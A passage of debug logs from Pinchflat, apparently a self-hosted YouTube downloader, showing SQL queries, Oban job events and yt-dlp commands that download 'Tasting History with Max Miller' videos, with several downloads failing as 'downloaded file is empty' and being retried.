m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:43:12.430 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:12.430 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:12.430 [debug] Running yt-dlp command for action: get_downloadable_status 03:43:12.430 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:12.431 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:12.431 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:12.431 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/ae/44ae7683a8e91de50f5e426c8a31a86c0ad75032753a19450fe7ba5b849fdb10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:43:16.431 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/ae/44ae7683a8e91de50f5e426c8a31a86c0ad75032753a19450fe7ba5b849fdb10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:43:16.431 [debug] Running yt-dlp command for action: download 03:43:16.431 [debug] QUERY OK source="settings" db=0.1ms idle=40.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:16.432 [debug] QUERY OK source="settings" db=0.1ms idle=40.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:16.432 [debug] QUERY OK source="settings" db=0.1ms idle=40.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:43:16.432 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/6f/446fc5bfbb0a97737a956bde30871ae0ef0dfc481e796225a882687e5bb41a31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:43:17.774 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:47.776 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.050 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:17.778 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:47.779 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.051 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:17.781 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:47.783 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.052 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:17.784 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:47.785 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.053 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:17.786 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:47.787 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:57.983 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/71/0e717489fbf0b0aa88a48fd4f143c26b4a704234ab4c412ad0d7f4f595dd0780.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:47:57.983 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 03:47:57.983 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":369199194,"event":"job:exception","queue_time":260021226,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:47:57.990 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774943277990120919,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:47:57.990 [debug] QUERY OK source="media_items" db=0.2ms idle=598.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:47:57.990 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:47:57.991 [debug] QUERY OK source="sources" db=0.1ms idle=599.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:47:57.991 [debug] QUERY OK source="media_profiles" db=0.1ms idle=135.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:47:57.992 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:47:57.992 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:47:57.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:47:57.993 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.993 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.993 [debug] Running yt-dlp command for action: get_downloadable_status 03:47:57.994 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.994 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.994 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/38/e6/38e6e0e7cd7868af9e94703800d8e212a6985ce3c0ea9fc0f53c80fcb3350a45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:48:00.054 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:02.012 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/38/e6/38e6e0e7cd7868af9e94703800d8e212a6985ce3c0ea9fc0f53c80fcb3350a45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:48:02.012 [debug] Running yt-dlp command for action: download 03:48:02.013 [debug] QUERY OK source="settings" db=0.2ms idle=621.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:02.013 [debug] QUERY OK source="settings" db=0.2ms idle=621.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:02.013 [debug] QUERY OK source="settings" db=0.1ms idle=621.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:02.013 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bb/92/bb9209ff0528c08dff4e45d451447ec5d31eef737c10b7e6bd0b989d3474111f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:48:17.788 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:18.811 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/6f/446fc5bfbb0a97737a956bde30871ae0ef0dfc481e796225a882687e5bb41a31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:48:18.811 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:48:18.812 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":306384499,"event":"job:exception","queue_time":649394,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:48:47.790 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.056 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:17.791 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:17.953 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774943357953323324,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:49:17.953 [debug] QUERY OK source="media_items" db=0.1ms idle=561.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:49:17.953 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:49:17.954 [debug] QUERY OK source="sources" db=0.2ms idle=562.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:49:17.954 [debug] QUERY OK source="media_profiles" db=0.1ms idle=163.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:49:17.955 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:49:17.955 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:49:17.955 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:49:17.956 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:17.956 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:17.956 [debug] Running yt-dlp command for action: get_downloadable_status 03:49:17.956 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:17.957 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:17.957 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:17.957 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/78/c678c5d6b4b51d3c0bc024cd0e86275e8b3dd92e46dea03c1bcbddc282e27f1d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:49:22.204 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/78/c678c5d6b4b51d3c0bc024cd0e86275e8b3dd92e46dea03c1bcbddc282e27f1d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:49:22.204 [debug] Running yt-dlp command for action: download 03:49:22.204 [debug] QUERY OK source="settings" db=0.1ms idle=812.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:22.204 [debug] QUERY OK source="settings" db=0.0ms idle=813.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:22.204 [debug] QUERY OK source="settings" db=0.0ms idle=813.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:22.205 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j 